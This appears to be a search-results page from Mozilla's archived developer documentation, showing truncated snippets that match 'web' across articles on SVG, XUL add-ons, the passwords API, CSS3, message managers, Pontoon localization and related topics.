Web, l10n:priority Scalable Vector Graphics (SVG) are an XML-based markup language for describing two-dimensional based vector graphics.XML 2 Applying SVG effects to HTML content CSS, Guide, HTML, SVG Modern browsers support using SVG within CSS styles to apply graphical effects to HTML content. 3 Compatibility sources SVG The following sources are used for the compatibility tables on SVG elements and attributes: 4 Content type NeedsTechnicalReview, SVG, Types, data types SVG makes use of a ...
...nit in x and y. 269 zoomAndPan Deprecated, SVG, SVG Attribute The zoomAndPan attribute specifies whether the SVG document can be magnified and panned. 270 SVG Tutorial Intermediate, NeedsContent, NeedsHelp, NeedsUpdate, SVG, SVG:Tutorial Scalable Vector Graphics, SVG, is a W3C XML dialect to mark up graphics. It is partially implemented in Firefox, Opera,
WebKit browsers, Internet Explorer and other browsers. 271 Basic Transformations Intermediate, SVG, SVG:Tutorial Now we're ready to start distorting our beautiful images. But first, let's formally introduce the <g> element. With this helper, you can assign properties to a complete set of elements. Actually, that's its only purpose. An example: 272 Basic shapes Begi...
...ontradictory. But when you try to create a semicircle in SVG, you will find out the use of the following properties quickly. 274 Fills and Strokes Beginner, NeedLiveSamples, SVG, SVG:Tutorial There are several ways to color shapes (including specifying attributes on the object) using inline CSS, an embedded CSS section, or an external CSS file. Most SVG you'll find around the
web use inline CSS, but there are advantages and disadvantages associated with each type. 275 Filter effects Advanced, NeedsContent, SVG, SVG:Tutorial There are situations, where basic shapes do not provide the flexibility you need to achieve a certain effect. Drop shadows, to provide a popular example, cannot be created reasonably with a combination of gradients. Filters are SVG...
...And 3 more matches
XUL Migration Guide - Archive of obsolete content
, and "skin" subdirectories: This allows you to refer to objects in these directories from "chrome.manifest" using a relative path, like "chrome/content". This is provided only as a migration aid, and it's still a good idea to port XUL windows to HTML. ...
...is provided only as a migration aid, and it's still a good idea to port XUL windows to HTML. Content Scripts In a XUL-based add-on, code that uses XPCOM objects, code that manipulates the browser chrome, and code that interacts with
web pages all runs in the same context. But the SDK makes a distinction between: add-on scripts, which can use the SDK APIs, but are not able to interact with
web pages content scripts, which can access
web pages, but do not have access to the SDK's APIs Content scripts and add-on scripts communicate by sending each other JSON messages: in fact, the ability to communicate with the add-on scripts is the only extra privilege a content script is granted over a normal remote
web page script. A XUL-based add-on will need to be reorganized to respect this di...
... There's much more information on content scripts in the Working With Content Scripts guide. ...
...And 2 more matches
passwords - Archive of obsolete content
e and remove stored credentials. Usage A credential is the set of information a user supplies to authenticate herself with a service. Typically a credential consists of a username and a password. Using this module you can: Search for credentials which have been stored in the Password Manager. You can then use the credentials to access their related service (for example, by logging into a
web site). Store credentials in the Password Manager. You can store different sorts of credentials, as outlined in the "Credentials" section below. Remove stored credentials from the Password Manager. Credentials In this API, credentials are represented by objects. You create credential objects to pass into the API, and the API also returns credential objects to you. The sections be...
.... All credential objects include username and password properties. Different sorts of stored credentials include various additional properties, as outlined in this section. You can use the Passwords API with three sorts of credentials: Add-on credentials HTML form credentials HTTP Authentication credentials Add-on Credential These are associated with your add-on rather than a particular
web site. They contain the following properties: username The username. password The password. url For an add-on credential, this property is of the form: addon:<addon-id>, where <addon-id> is the add-on's Program ID. You don't supply this value when storing an add-on credential: it is automatically generated for you. However, you can use it...
... a name for the credential, to distinguish it from any other credentials you've stored. The realm is displayed in Firefox's Password Manager, under "Site", in brackets after the URL. For example, if the realm for a credential is "User Registration", then its "Site" field will look something like: addon:jid0-01mBBFyu0ZAXCFuB1JYKooSTKIc (User Registration) HTML Form Credential If a
web service uses HTML forms to authenticate its users, then the corresponding credential is an HTML Form credential. It contains the following properties: username The username. password The password. url The URL for the
web service which requires the credential. You should omit anything after the hostname and (optional) port. formSubmitURL The...
...And 2 more matches
Examples and demos from articles - Archive of obsolete content
[article] Typewriter effect [html] The following example will delete and re-type simulating a typewriter all the text content of the NodeList which match a specified group of selectors. [article] Fade In/Out [html] Sometimes a page uses dozens and dozens of animations. ...
...en totally scrolled [html] This example shows how to determine whether a user has completely scrolled an element or not. [article] CSS Pure-CSS dropdown menu [html] With the :hover pseudo-class you can create complex cascade algorithms. This is a common technique used, for example, in order to create pure-CSS dropdown menus (that is only CSS, without using JavaScript). ...
...n create complex cascade algorithms. This is a common technique used, for example, in order to create pure-CSS dropdown menus (that is only CSS, without using JavaScript). .[article] Pure-CSS
web gallery based on the :hover pseudoclass [zip] You can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over previews. .[article] Pure-CSS
web gallery based on the :checked pseudoclass [zip] You can also use the :checked pseudo-class applied to hidden radioboxes in order to build, for example, an image gallery with full-size images shown only when mouse clicks on previews. [article] Pure-CSS tooltips [html] This shows the use of the ::after pseudo-element in conjunction with the attr() CSS expression and a data-descr custom data attr...
...And 2 more matches
Install Manifests - Archive of obsolete content
A string formatted like so: extensionname@example.org The latter format is significantly easier to generate and manipulate. Firefox 1.5 has checking to ensure that your id falls into one format or the other and will refuse to install add-ons that have malformed ids. You should not use a real email address for your id, however, as it might attract spam. Note: The id property is optional in a
WebExtension. If you do not provide an id, the Add-ons site will generate an id for your add-on automatically. Examples <em:id>extensionname@example.org</em:id> <em:id>{daf44bf7-a45e-4450-979c-91cf07434c3d}</em:id> name The name of the add-on; intended for display in the UI. Examples <em:name>My Extension</em:name> targetApplication An object specifying an application targeted by this add-...
...on id toolkit@mozilla.org to say that the add-on is compatible with any toolkit app with a toolkit version matching the minVersion and maxVersion. type An integer value representing the type of add-on. 2 Extensions 4 Themes 8 Locale 32 Multiple Item Package 64 Spell check dictionary 128 Telemetry Experiment 256
WebExtension Experiment Examples <em:type>2</em:type> This property was added for Firefox 1.5, and is only required for add-on types other than Extensions and Themes. Firefox 2 and previous supported a value of 16 to represent plug-ins. In Firefox 3 this has been removed. version A version string identifying the version of the add-on being supplied. For Firefox/Thunderbird 1.0, the forma...
...nderbird 1.5, see Toolkit version format. Examples <em:version>2.0</em:version> <em:version>1.0.2</em:version> <em:version>0.4.1.2005090112</em:version> Firefox 1.5 / XULRunner 1.8 - add-ons that do not use a valid version format will not be installed. The version format is different from, although backwards-compatible with, 1.0's. For add-ons hosted on addons.mozilla.org - Mozilla's update
website may repackage your add-on and correct or reject malformed version strings. Optional Property Reference You may need to supply these properties, depending on the capabilities of your add-on. aboutURL The chrome:// URL of the extension's about dialog box. This is only useful to extensions. If this property is specified, in the about:addons extensions list, the About... link in the extensio...
...And 2 more matches
Tabbed browser - Archive of obsolete content
you need to work with tabs from a non-browser window, you need to obtain a reference to one first, see Working with windows in chrome code for details. Multiple meanings for the word 'browser' The word 'browser' is used several ways. Of course the entire application Firefox is called "a browser". Within the Firefox browser are tabs and inside each tab is a browser, both in the common sense of a
web page browser and the XUL sense of a browser element. Furthermore another meaning of 'browser' in this document and in some Firefox source is "the tabbrowser element" in a Firefox XUL window. Getting access to the browser From main window Code running in Firefox's global ChromeWindow, common for extensions that overlay into browser.xul, can access the tabbrowser element using the global variabl...
...ccess to the browser window you need before you can use gBrowser. You can find more information on getting access to the browser window in Working with windows in chrome code. ...
...e also Code snippets:On page load function examplePageLoad(event) { if (event.originalTarget instanceof Components.interfaces.nsIDOMHTMLDocument) { var win = event.originalTarget.defaultView; if (win.frameElement) { // Frame within a tab was loaded. win should be the top window of // the frameset. If you don't want do anything when frames/iframes // are loaded in this
web page, uncomment the following line: // return; // Find the root document: win = win.top; } } } // do not try to add a callback until the browser window has // been initialised. We add a callback to the tabbed browser // when the browser's window gets loaded. window.addEventListener("load", function () { // Add a callback to be run every time a document loads. // note ...
...And 2 more matches
CSS3 - Archive of obsolete content
Extends the former media type ( print, screen, ... ) to a full language allowing queries on the device media capabilities like only screen and (color) . Media queries are not only used in CSS document but also in some attributes of HTML Elements, like the media attribute of the <link> element. The next iteration of this specification is in the work, allowing to tailor a
Web site regarding the input methods available on the user agent, with new media features like hover or pointer. Detection of EcmaScript support, using the script media features is also proposed. CSS Style Attributes Recommendation since November 7th, 2013 Formally defines the syntax of the content of the HTML style global attribute. CSS Fonts Module Level 3 ...
...t for icons, defined by the CSS icon property simultaneously with the new icon value of the CSS content property. At risk: due to insufficient browser support, standardization of the icon property and the icon value may be postponed to CSS4. Support for the CSS outline-offset property giving more control on the position of the outline. Support for the CSS resize property allowing
Web authors to control if and how elements should be resized. Support for the CSS text-overflow property defining how text overflows, if needed. At risk: due to insufficient browser support, the 2-value syntax of this property as well as the support for <string> values may be postponed to the next iteration of this module. The ability to define the hotspot of a cursor as well as the n...
...nstead of wrapping around the bounding box. CSS Masking Module Level 1 Candidate Recommendation Defines a way for partially or fully hiding portions of visual elements. It describes how to use another graphical element or image as a luminance or alpha mask. CSS Fragmentation Module Level 3 Candidate Recommendation Defines how partitions of a
Web page should happen, that is page, column breaks, and widows and orphans handling. Adds: Support for defining the behavior of decorations, that is borders and background colors or images, when a box is breaked (at a page, column or line-break) with the CSS box-decoration-break property. CSS Custom Properties for Cascading Variables Module Level 1 Candidat...
...And 2 more matches
JXON - Archive of obsolete content
In these cases JXON could represent the most practical way. In this article we will show how to convert a parsed XML document (i.e. ...
...In these cases JXON could represent the most practical way. In this article we will show how to convert a parsed XML document (i.e. ...
..., after the comic Parker & Badger by Cuadrado. See also: BadgerFish Convention. The following is a transcription of the Parker Convention paper (version 0.4), from the page "TransformingRules" of the xml2json-xslt project site. This Convention was written in order to regulate the conversion to JSON from XSLT, so parts of it are futile for JavaScript. Note: On October 29th, 2013, the World Wide
Web Consortium relased in a note on official algorithm for converting HTML5 microdata to JSON. However, HTML microdata is not HTML: microdata is a formatted subset of HTML. Translation JSON The root element will be absorbed, for there is only one: <root>test</root> becomes "test" Element names become object properties: <root><name>Xml</name><encoding>ASCII</encoding></root> ...
...And 2 more matches
XML in Mozilla - Archive of obsolete content
This page is outdated. Please help updating it with current information. Supported Core XML W3C Recommendations The core XML support includes parsing XML without validation (we use the Expat parser), displaying XML with CSS, manipulating XML documents with scripts via DOM, associating stylesheets with XML documents, and namespaces in XML. The core support is very good with few bugs. DTDs and Other External Entities Mozilla does not load external entities from the
web. ...
...on. Supported Core XML W3C Recommendations The core XML support includes parsing XML without validation (we use the Expat parser), displaying XML with CSS, manipulating XML documents with scripts via DOM, associating stylesheets with XML documents, and namespaces in XML. The core support is very good with few bugs. DTDs and Other External Entities Mozilla does not load external entities from the
web. Mozilla can load external entities whose system identifier uses the chrome protocol. This feature is used mainly to localize Mozilla to different languages (the UI strings are stored in external DTD files). Another exception is an entity whose system identifier is a relative path, and the XML declaration states that the document is not standalone (default), in which case Mozilla will try to look...
... XSLT XPath W3C Recommendation XSLT XMLHttpRequest W3C Recommendation XML Extras Request API (no longer supported) Mozilla Add-on SDK DOMParser and XMLSerializer Mozilla XML Extras SAX SAX SOAP (no longer supported) W3C Note
Web Services XML-RPC (no longer supported) UserLand Software XML-RPC RDF W3C Recommendations RDF SVG W3C Recommendation SVG animation (SMIL) W3C Recommendation MathML W3C Recommendation MathML P3P (no longer supported) W3C Recommendation...
...And 2 more matches
XTech 2005 Presentations - Archive of obsolete content
E4X marries XML and JavaScript syntax, and extends JavaScript to include namespaces, qualified names, and XML elements and lists. E4X also adds new JavaScript operators for filtering XML lists, and for enumerating XML children and descendants. Another E4X feature: the ability to bind a W3C DOM document to a new XML object, reflecting the DOM in E4X terms so that updates to either the DOM or the E4X object hierarchy show up in the other. ...
..., qualified names, and XML elements and lists. E4X also adds new JavaScript operators for filtering XML lists, and for enumerating XML children and descendants. Another E4X feature: the ability to bind a W3C DOM document to a new XML object, reflecting the DOM in E4X terms so that updates to either the DOM or the E4X object hierarchy show up in the other. Directions of the Mozilla RDF engine:
website scripting, standards conformance and perfomance - Axel Hecht This presentation showed new developments in the Mozilla RDF engine. These include plans to expose the RDF API to public
web content, as well as performance and correctness improvements. Rich
Web: SVG And Canvas In Mozilla - Robert O'Callahan Today's
Web browsers offer somewhat limited graphics capabilities to
Web developers. ...
...The Mozilla project will meet this challenge with two major new features to be delivered in Firefox 1.1: integrated SVG and a new canvas HTML element. ...
...And 2 more matches
The Implementation of the Application Object Model - Archive of obsolete content
from any number of different sources (e.g., from a local file system, from your bookmarks file, or from some remote downloadable RDF file), and can then be combined into a single graph. Ok, so after that paragraph many of you probably still don't understand what RDF does, so here's the short and sweet version. RDF can suck up data from different places (like your bookmarks and history or another
web site), and it can combine them. This gives you a feature called aggregation, the ability to put completely different kinds of data into the same place. For example, the traditional bookmarks tree view could contain anything from mail messages to local files to maps of other sites. This same ability to aggregate data leads to another capability of RDF. Because RDF can suck up data from a remote lo...
...r two reasons. What is local/remote merging good for? The first reason to have local/remote merging is that a remote file must be able to reference local data and have it merged in with the information that it specified. An example of this feature is a downloadable file that describes the user's main bookmarks folder. Because the file lives remotely, it can be updated whenever the owner of the
Web site sees fit. A site admin could add new bookmarks to the file, and then the user would pick them up. However, in order for this to work, the local bookmarks have to be merged in with the remote bookmarks specified by the site. The second reason to have local/remote merging is to save state and/or to record customizations that the user has made to his or her user interface. Imagine a remote file...
...) using a real markup language, either an extension of HTML or an XML language like XUL. Forget XUL! Let's just extend HTML! Still I say forget XUL! Let's just extend HTML and use it to represent the UI! That would also be an unwise decision for a variety of reasons. HTML is designed to handle documents and not to handle applications. It makes sense to maintain a clean separation between the
Web APPLICATION and the
Web DOCUMENTS that the application contains. By keeping the DOM tree in a sandbox (safely insulated from the containing AOM tree in which it might occur), you have an easy means of distinguishing the two trees and preventing scripts in the DOM tree from manipulating the AOM tree. In other words, it makes sense to have two parallel languages, one for describing applications, an...
...And 2 more matches
iframe - Archive of obsolete content
are not supported. If you want to run content in a remote process, use a XUL browser element. Warning: When used in chrome-privileged documents (either HTML or XUL) such as Firefox addons, the contents of the frame may have the same permissions as Firefox itself. This can be a serious security vulnerability, for example if you use src="http://...". ...
... the same permissions as Firefox itself. This can be a serious security vulnerability, for example if you use src="http://...". When used in this case, please see Displaying
web content in an extension without security issues. More information is available in the XUL tutorial. ...
...ocuments. Warning: The type attribute must be set before the element is inserted into the document. content A browser for content. The content that is loaded inside the browser is not allowed to access the chrome above it. content-primary The primary browser for content. The content that is loaded inside the browser is not allowed to access the chrome above it. For instance, in a
web browser, this would be the element that displays the
web page. The window for the primary content can be retrieved more conveniently using window.content. content-targetable One browser among many for content. The content that is loaded inside the browser is not allowed to access the chrome above it. This is the preferred value for any browser element in an application, which will use multipl...
...And 2 more matches
2006-10-06 - Archive of obsolete content
This set of documents tackles some of the difficulties that AJAX has been causing with regards to accessibility. Read more... ...
...This set of documents tackles some of the difficulties that AJAX has been causing with regards to accessibility. Read more... ...
...This set of documents tackles some of the difficulties that AJAX has been causing with regards to accessibility. Read more... ...
...And 2 more matches
Syndicating content with RSS - Archive of obsolete content
Syndicating with RSS consists of three steps: Creating an RSS feed. Adding a special <link> element to HTML page(s). Adding a special <a> element to HTML page(s). We've already discussed the first step--creating RSS feeds-- so we'll focus on the other two steps here. ...
... Syndicating with RSS consists of three steps: Creating an RSS feed. Adding a special <link> element to HTML page(s). Adding a special <a> element to HTML page(s). We've already discussed the first step--creating RSS feeds-- so we'll focus on the other two steps here. ...
... to using RSS to syndicate
Web content. Syndicating with RSS consists of three steps: Creating an RSS feed. Adding a special <link> element to HTML page(s). Adding a special <a> element to HTML page(s). We've already discussed the first step--creating RSS feeds-- so we'll focus on the other two steps here. Adding the <link> Often the data in an RSS feed is also made available on an HTML
web page. When this is the case, the HTML
web page can let people and machines know about the feed by using the <link> element, like this: <link rel="alternate" type="application/rss+xml" href="http://example.com/feed" /> Adding the <a> While use of the HTML <link> element is powerful, it is mostly hidden. To advertise the RSS feed in a more direct way, the HTML <a> element can be used. This mimi...
...And 2 more matches
Confidentiality, Integrity, and Availability - Archive of obsolete content
able to access them, but no one else should. A failure to maintain confidentiality means that someone who shouldn't have access has managed to get it, through intentional behavior or by accident. Such a failure of confidentiality, commonly known as a breach, typically cannot be remedied. Once the secret has been revealed, there's no way to un-reveal it. If your bank records are posted on a public
website, everyone can know your bank account number, balance, etc., and that information can't be erased from their minds, papers, computers, and other places. Nearly all the major security incidents reported in the media today involve major losses of confidentiality. So, in summary, a breach of confidentiality means that someone gains access to information who shouldn't have access to it. Integrit...
...ajor security incidents reported in the media today involve major losses of confidentiality. So, in summary, a breach of confidentiality means that someone gains access to information who shouldn't have access to it. Integrity Integrity refers to ensuring the authenticity of information--that information is not altered, and that the source of the information is genuine. Imagine that you have a
website and you sell products on that site. Now imagine that an attacker can shop on your
web site and maliciously alter the prices of your products, so that they can buy anything for whatever price they choose. That would be a failure of integrity, because your information--in this case, the price of a product--has been altered and you didn't authorize this alteration. Another example of a failure o...
...In this case, the site you are directed to is not genuine. Availability Availability means that information is accessible by authorized users. ...
...And 2 more matches
Mozilla's DOCTYPE sniffing - Archive of obsolete content
termine strict mode vs. quirks mode. The code that makes this determination is currently in DetermineParseMode() in nsParser.cpp. See bug 1312 and bug 55264 for some of the history of the mode determination. See bug 153032 for the creation of the Almost-Standards mode around Mozilla 1.0. The goals that led to choosing this behavior were the following: Almost all existing text/html pages on the
Web that need to be in quirks mode to be displayed correctly should be displayed using quirks mode. (Almost all, rather than all, to allow for the following points as well.) Authors writing
Web pages to current standards should be able to trigger strict mode. Pages written using any public identifiers in DOCTYPE declarations that appear in the future should be displayed using strict mode. In othe...
... Full Standards Mode The following trigger full standards mode: Any document sent with an XML MIME type such as text/xml, application/xml, or application/xhtml+xml (since sniffing only occurs for documents sent as text/html). ...
... XHTML 1.0 Transitional//EN". The public identifier "-//W3C//DTD XHTML 1.0 Frameset//EN". The public identifier "-//W3C//DTD HTML 4.01 Transitional//EN", with a system identifier. The public identifier "-//W3C//DTD HTML 4.01 Frameset//EN", with a system identifier. Quirks Mode The following trigger quirks mode (this list needs to be comprehensive to ensure that pages already existing on the
Web trigger quirks mode): The following sites have been useful in preparing this list: W3C HTML Validator, HTMLHelp HTML Validator. The absence of a DOCTYPE. An XML declaration (pseudo-PI) without a doctype (in other words, ignore the XML declaration and use the DOCTYPE). In 1.0 and 1.1alpha and earlier (but not in 1.0.1 or 1.1beta), the presence of an XML declaration triggered full standards mo...
...And 2 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
The Object Element: W3C Standards and Cross-Browser Issues The object element is part of the HTML 4.01 specification, and is the recommended mechanism to invoke plugins. Its use is subject to a few caveats that this section outlines. Traditionally, the object element has been used differently by Microsoft Internet Explorer and by Mozilla-based browsers such as Netscape 7. ...
...If you don't specify a codebase attribute, and the plugin is not installed,the browser will display only the alternate innermost text. It won't attempt to retrieve a missing plu...
... missing if you don't specify where to get the plugin from using the codebase attribute. If you don't specify a codebase attribute, and the plugin is not installed,the browser will display only the alternate innermost text. It won't attempt to retrieve a missing plugin using the Netscape Plugin Finder service. This behavior is not incorrect according to the HTML 4.01 specification, but it obliges
web authors to diligently specifyobtainment mechanisms. At a minimum,
web authors will have to nest some alternate text inside their object elements telling users where to obtain the missing component. Adding an additional layer of convenience in the form of automatic retrieval is the subject of a bug 180411 in the Mozilla open source code. Some plugins don't understand all the param elements tha...
...And 2 more matches
Limitations of chrome scripts
k an old add-on in multiprocess Firefox. The fix is generally some variant of "do that in a frame script loaded into the content process". This is one of a pair of articles: the other one lists limitations of frame scripts. Compatibility shims For many of the patterns described here we've implemented compatibility shims so the patterns still work. For example: whenever extensions try to access
web content from the chrome process, the browser will return a Cross Process Object Wrapper that gives the chrome code synchronous access to the content. You'll get the shims for your add-on by default, unless you set the multiprocessCompatible flag in your add-on's install manifest. However, these shims are not a substitute for migrating extensions: they are only a temporary measure, and will b...
...ely". However, if an add-on passes a CPOW into a platform API, and that platform API then attempts an unsafe operation on it, this will throw an exception. So as a general rule, add-ons should avoid passing CPOWs into non-addon code. nsIContentPolicy Without the shim In multiprocess Firefox, if you register the nsIContentPolicy in the chrome process then it will never see any attempts to load
web content, because they happen in the content process. With the shim The shim enables you to add content policies in the chrome process. It transparently registers an nsIContentPolicy in the content process, whose shouldLoad just forwards to the chrome process. The content to check is forwarded as a CPOW. The chrome process then checks the content against the policy supplied by the add-on, and fo...
...ess. The content to check is forwarded as a CPOW. The chrome process then checks the content against the policy supplied by the add-on, and forwards the response back to the child to be enforced. To make the shim unnecessary: define and register nsIContentPolicy in the content process. If you need to ensure that the policy is only registered once, use a process script to register the policy. nsI
WebProgressListener This API will work in the chrome process. There is a shim that gives you access to the DOMWindow property of the nsI
WebProgress object passed into onStateChange. However, the DOMWindow is passed asynchronously, so by the time the chrome process receives it, the DOM might have changed (for example, because code running in the content process modified it or we navigated to a differ...
...And 2 more matches
Message manager overview
Message managers are designed to enable chrome-privileged JavaScript code in one process to communicate with chrome-privileged JavaScript code in a different process. ...
...level, there are two different sorts of message managers: Frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process. These scripts are called frame scripts, and as the name suggests, they are scoped to a specific browser frame. If chrome code wants to run code in the content process so it can access
web content, this is usually the sort of message manager to use. Process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to communicate with code running in the child (content) process. From Firefox 38 onwards, they also enable code running in the parent process to load process scripts into the child process. These are like frame scrip...
... into the child process. These are like frame scripts, except they are global to the child process. Process scripts are most likely to be useful when an extension wants to run some code only once in the content process, to access some global service: for example, to register an observer or a content policy. ...
...And 2 more matches
Roll your own browser: An embedding how-to
this directory are a couple of makefiles: basebrowser-unix basebrowser-win The XPInstall packager follows the same format. However in our case, we only have one named XPI package. After the build is done, you can change directory into mozilla/embedding/config, and do a make. This will produce a directory in DIST named Embed. It should include all of the base support that you need to get a
web browser started up. Included is the sample test application (gtkEmbed or winEmbed). What initializations do I have to do? Somewhere during the start of your application, you must initialize XPCOM. You will also want to shut this down when you quit. Other initialization must be done to start up event queues and load some string bundles. All of this is somewhat generic and has been isolated int...
...rt of the GNOME effort. ActiveState's Komodo: Development environment, based on Mozilla's XUL. (Screenshot) Light: Very simple non-bloated GTK+ interface, familiar Netscape 4.x keyboard shortcuts, context menus, etc. (Screenshot) XParts: KDE extension that allows Mozilla to be embedded into the Konqueror browser. Uses GtkMozEmbed widget, part of the kdebindings module and available from http://
websvn.kde.org/trunk/KDE/kdebindings/xparts/. (News release, screenshot) Mozilla Examples GtkMozEmbed widget: Gtk widget wrapper for the Mozilla Gecko Engine. TestGtkEmbed: Basic browser built with the GtkMozEmbed widget. URL location field, menu bar, html area, supports SSL. Windows External projects K-Meleon browser: the Windows answer to Galeon. Fast IE-look-alike browser, uses IE and ...
...ication for win32. Basic browser, menus, toolbar, URLbar, html area. winEmbed: Obsoleted by mfcEmbed. A bare-bones browser with URLbar and html area. ActiveX control: An ActiveX control for Mozilla using the Gecko layout engine. More information at 1 and 2. Mac External projects ActiveState's Komodo: Development environment, based on Mozilla's XUL. ...
...And 2 more matches
Gecko Keypress Event
cording to the following rules. The accel key depends on the platform. Ctrl is the accel key on Windows and Linux, while Meta (i.e. Command) is the accel key on Mac. When the accel key is down, the charCode of a keypress event may be replaced with a character from a Latin keyboard layout only when the original character is not an ASCII character. This behavior helps the internationalization of
web applications that have custom shortcut keys. If Gecko doesn't replace the charCode with an ASCII character, the
web application developers would need to consider all non-Latin keyboard layouts (Arabic, Greek, Hebrew, Russian, etc.). The charCode value depends on the state of CapsLock and NumLock (except they are currently ignored if Alt (Option) is down on Mac - see bug 432953). There are also s...
... the charCode only when the key pressed corresponds to a Latin letter (VK_A to VK_Z), numeral (VK_0 to VK_9), Plus sign (VK_OEM_PLUS), or Minus sign key (VK_OEM_MINUS). Note that replacing the original (non-ASCII) characters on these keys means that there are some accessibility issues for non-Latin keyboard layout users as many non-ASCII characters will not be available for shortcuts. Therefore,
web application developers should use only letters, ASCII numerals, plus sign, and minus sign for custom shortcut keys. Linux The charCode is replaced only when Ctrl is down but Alt and Meta are not down. If the character provided by the keyboard layout cannot be entered without Ctrl key, then, Gecko does not replace the character (as on Windows). Mac The charCode is replaced when Meta (Command)...
...acter from this keyboard layout for the Ctrl key also. However, when Ctrl is down, Gecko 1.9 currenly only replaces the charCode only when the key corresponds to a basic Latin letter. This behavior is a bug, this behavior will be changed in a future major release (bug 432951). Alternative charCodes for internal key handling This section documents only Gecko internal keypress event handling, so
Web application developers can ignore this section. Gecko replaces the charCode of DOM keypress events for accelerator key handling, but that is not enough. Problem 1 The Zoom-in shortcut handler in Firefox is defined as <key key="+" modifiers="accel"/>. However, the Shift key must be used to enter '+' on US keyboard layout, and so the state of the Shift key causes the modifiers not to match those...
...And 2 more matches
Localizing with Pontoon
Pontoon is a very simple and intuitive tool that requires little to no technical skill to use in the l10n workflow. Here we'll discuss how to use Pontoon to localize projects, from first sign-in to finalizing your contributions. Along the way, we'll point out some sweet features that will make you more efficient and make your l10n contributions easier. Are you a developer? Read about implementing Pontoon in your project or learn how to get involved on GitHub. First steps Pontoon's home page is very easy to use. ...
...rn how to get involved on GitHub. First steps Pontoon's home page is very easy to use. To begin localizing the project, click on the Persona icon and sign in. Next, simply select the project you want to work on and your locale from the dropdown menus. Pontoon will automatically open that locale's project for you to get started. Note that for our purposes here, we'll be using Firefox Affiliates
website to demo Pontoon's functionality and workflow. And there it is, opened inside Pontoon: Main toolbar As you can see, most of the interface is taken by the
website being translated. Only the toolbar on top belongs to Pontoon, containing the following items (from left to right): List of strings Opens a sidebar with a list of all strings to localize. Project selector (Affiliates) Switch...
...d shortcuts. Alright, how about we do some translating now? Translate strings When using Pontoon for localization, you have a couple of options to translate your strings. You can translate in-context, out-of-context, or a combination of the two. We'll start with looking at in-context translation. In-context Pontoon's in-context translation mode is what puts it above others. It opens a
web page (or
web app) and enables real-time editing of that page. Here's how you translate your first string: Hover over the text you want to translate with your mouse. An edit button appears over that text. Click on it to enable the translate mode. Replace the original text with its translation into your language. Click the save button to save your translation. Out-of-context Some string...
...And 2 more matches
powermetrics
780.19 330.52 0.00 kernel_task 0 109.97 0.00 0.20 0.00 779.47 330.35 0.00 launchd 1 18.88 2.44 0.00 0.00 0.40 0.20 0.00 com.apple.Safari 488 90.60 108.58 56.48 26.65 com.apple.
WebKit.
WebContent 84679 64.21 84.69 0.00 0.00 104.19 54.89 26.66 com.apple.
WebKit.Networking 84678 26.89 58.89 0.40 0.00 1.60 0.00 0.00 Safari 84676 1.56 55.74 0.00 0.00 2.59 1.40 0.00 com.apple.Safari.SearchHelper 84690 0.15 49.49 0.00...
... 45.78 19.29 0.00 com.apple.WindowServer 68 102.58 112.36 43.15 80.52 WindowServer 141 103.03 58.19 60.48 6.40 112.36 43.15 80.53 com.apple.Safari 499 267.19 110.53 46.05 1.69 com.apple.
WebKit.
WebContent 67372 190.15 79.34 2.02 0.14 129.28 53.79 2.33 com.apple.
WebKit.Networking 67292 65.23 52.74 0.07 0.00 4.33 1.40 0.00 Safari 67290 29.09 77.65 0.23 0.00 7.13 3.37 0.00 com.apple.Safari.SearchHelper 67371 13.88 91.18 0.00 ...
... 129.28 53.79 2.33 com.apple.
WebKit.Networking 67292 65.23 52.74 0.07 0.00 4.33 1.40 0.00 Safari 67290 29.09 77.65 0.23 0.00 7.13 3.37 0.00 com.apple.Safari.SearchHelper 67371 13.88 91.18 0.00 0.00 0.36 0.05 0.00 com.apple.
WebKit.
WebContent 67297 0.81 56.84 0.10 0.00 2.20 1.30 0.00 com.apple.
WebKit.
WebContent 67293 0.46 76.40 0.03 0.00 0.57 0.20 0.00 com.apple.
WebKit.
WebContent 67295 0.24 67.72 0.00 0.00 0.90 0.37 0.00 com.apple.
WebKit.
WebContent 67298 0.17 59.88 0.00 ...
...And 2 more matches
nsIAppShellService
ete since Gecko 1.8 void createHiddenWindow(in nsIAppShell aAppShell); Native code only! ...
...rowser() This method creates a browser that does not have a window. If the browser is exited, this windowless browser will not prevent Firefox from exiting. E10s notes: The browser is created in process. To get an out of process element you want to communicate with via message manager, then append a browser element with remote attribute set to true. ...
...indow. If the browser is exited, this windowless browser will not prevent Firefox from exiting. E10s notes: The browser is created in process. To get an out of process element you want to communicate with via message manager, then append a browser element with remote attribute set to true. ...
...And 2 more matches
nsITextInputProcessor
// Then, sets the caret if you need TIP.setCaretInPendingComposition("foo-bar".length); // Finally, flush the pending composition on the focused editor if (!TIP.flushPendingComposition()) { return; // Composition is not started } If there is no composition, flushPendingComposition() starts composition with dispatching compositionstart event automatically. However, if the event is consumed by
web content, it returns false. In this case, composition isn't created. So, JS-IME shouldn't continue to compose the string. Finally, when you commit the composition with the last composition string, just do this: TIP.commitComposition(); When you commit composition with specific string, specify commit string with its argument: TIP.commitCompositionWith("foo-BAR-buzz"); When you cancel composit...
...be specified. If this is specified, keyboard events may be dispatched when Gecko thinks that they should be. See also How to create KeyboardEvent instance for nsITextInputProcessor. aKeyFlags Optional See KEY_* constants. If this is not specified, the value is assumed as 0. Return value If this couldn't insert the string when there is no composition (e.g., compositionstart is consumed by the
web contents), it returns false. The other cases return true. flushPendingComposition() Flushes the pending composition which are set by setPendingCompositionString(), appendClauseToPendingComposition(), and setCaretInPendingComposition() on the focused editor. If appendClauseToPendingComposition() and/or setCaretInPendingComposition() are not called properly, e.g., sum of aLength of calls of appe...
...ould be specified. If this is specified, keyboard events may be dispatched when Gecko thinks that they should be. See also How to create KeyboardEvent instance for nsITextInputProcessor. aKeyFlags Optional See KEY_* constants. If this is not specified, the value is assumed as 0. Return value When there is no composition which was created by the instance and if compositionstart is consumed by
web contents, i.e., failed to start new composition, this returns false. Otherwise, it returns true. getModifierState() Getting modifier state. This is similar to KeyboardEvent.getModifierState() [en-US]. The result is the modifier state of managed by the instance. boolean getModifierState(in DOMString aModifierKeyName); Parameters aModifierKeyName A modifier key name which is defined by DOM ...
...And 2 more matches
Autoconfiguration in Thunderbird
